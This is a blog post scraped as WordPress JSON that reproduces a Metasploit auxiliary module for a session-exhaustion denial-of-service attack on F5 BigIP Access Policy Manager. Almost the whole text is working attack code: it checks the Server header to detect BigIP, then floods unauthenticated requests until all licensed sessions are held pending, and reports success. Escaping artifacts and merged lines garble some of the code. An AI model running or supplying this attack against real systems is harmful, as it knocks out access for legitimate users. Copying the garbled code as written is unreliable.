##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
##<\/p>\n
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Dos<\/p>\n
def initialize(info = {})
super(update_info(info,
‘Name’ => ‘F5 BigIP Access Policy Manager Session Exhaustion Denial of Service’,
‘Description’ => %q{
This module exploits a resource exhaustion denial of service in F5 BigIP devices. An
unauthenticated attacker can establish multiple connections with BigIP Access Policy
Manager (APM) and exhaust all available sessions defined in customer license. In the
first step of the BigIP APM negotiation the client sends a HTTP request. The BigIP
system creates a session, marks it as pending and then redirects the client to an access
policy URI. Since BigIP allocates a new session after the first unauthenticated request,
and deletes the session only if an access policy timeout expires, the attacker can exhaust
all available sessions by repeatedly sending the initial HTTP request and leaving the
sessions as pending.
},
‘Author’ =>
[
‘Denis Kolegov <dnkolegov[at]gmail.com>’,
‘Oleg Broslavsky <ovbroslavsky[at]gmail.com>’,
‘Nikita Oleksov <neoleksov[at]gmail.com>’
],
‘References’ =>
[
[‘URL’, ‘https:\/\/support.f5.com\/kb\/en-us\/products\/big-ip_apm\/releasenotes\/product\/relnote-apm-11-6-0.html’]],
‘License’ => MSF_LICENSE,
‘DefaultOptions’ =>
{
‘SSL’ => true,
‘RPORT’ => 443
}
))<\/p>\n
register_options(
[
OptInt.new(‘RLIMIT’, [true, ‘The number of requests to send’, 10000]),
OptBool.new(‘FORCE’, [true, ‘Proceed with attack even if a BigIP virtual server isn\\’t detected’, false])
])
end<\/p>\n
def run
limit = datastore[‘RLIMIT’]force_attack = datastore[‘FORCE’]\n
res = send_request_cgi(‘method’ => ‘GET’, ‘uri’ => ‘\/’)<\/p>\n
unless res
print_error(“No answer from the BigIP server”)
return
end<\/p>\n
# Simple test based on HTTP Server header to detect BigIP virtual server
server = res.headers[‘Server’]unless server =~ \/BIG\\-IP\/ || server =~ \/BigIP\/ || force_attack
print_error(“BigIP virtual server was not detected. Please check options”)
return
end<\/p>\n
print_status(“Starting DoS attack”)<\/p>\n
# Start attack
limit.times do |step|
if step % 100 == 0
print_status(“#{step * 100 \/ limit}% accomplished…”)
end
res = send_request_cgi(‘method’ => ‘GET’, ‘uri’ => ‘\/’)
if res && res.headers[‘Location’] =~ \/\\\/my\\.logout\\.php3\\?errorcode=14\/
print_good(“DoS accomplished: The maximum number of concurrent user sessions has been reached.”)
return
end
end<\/p>\n
# Check if attack has failed
res = send_request_cgi(‘method’ => ‘GET’, ‘uri’ => uri)
if res.headers[‘Location’] =~ \/\\\/my.policy\/
print_error(“DoS attack failed. Try to increase the RLIMIT”)
else
print_status(“Result is undefined. Try to manually determine DoS attack result”)
end<\/p>\n
rescue ::Errno::ECONNRESET
print_error(“The connection was reset. Maybe BigIP ‘Max In Progress Sessions Per Client IP’ counter was reached”)
rescue ::Rex::ConnectionRefused
print_error(“Unable to connect to BigIP”)
rescue ::Rex::ConnectionTimeout
print_error(“Unable to connect to BigIP. Please check options”)
rescue ::OpenSSL::SSL::SSLError
print_error(“SSL\/TLS connection error”)
end
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule < Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Dos def initialize(info = {})super(update_info(info,‘Name’ => ‘F5 BigIP Access Policy Manager Session Exhaustion Denial of Service’,‘Description’ => %q{This module exploits a resource exhaustion denial of service in F5 BigIP devices. Anunauthenticated attacker can establish multiple connections with BigIP Access PolicyManager (APM) …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59275","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59275","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59275"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59275\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59275"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59275"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59275"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}